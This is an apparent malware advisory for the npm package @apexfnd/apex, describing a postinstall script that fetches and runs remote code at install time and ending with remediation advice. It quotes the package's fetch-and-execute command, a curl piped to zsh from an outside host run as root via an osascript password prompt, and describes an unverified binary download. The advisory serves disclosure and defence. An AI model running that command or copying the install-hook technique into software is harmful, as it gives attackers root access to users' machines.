## What is MAL-2026-11121?

MAL-2026-11121 is a malicious package in @apexfnd/apex, published on 28 Jul 2026. 

### Official description

The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run `curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh` with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from `https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>`, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.

## What should I do about MAL-2026-11121?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
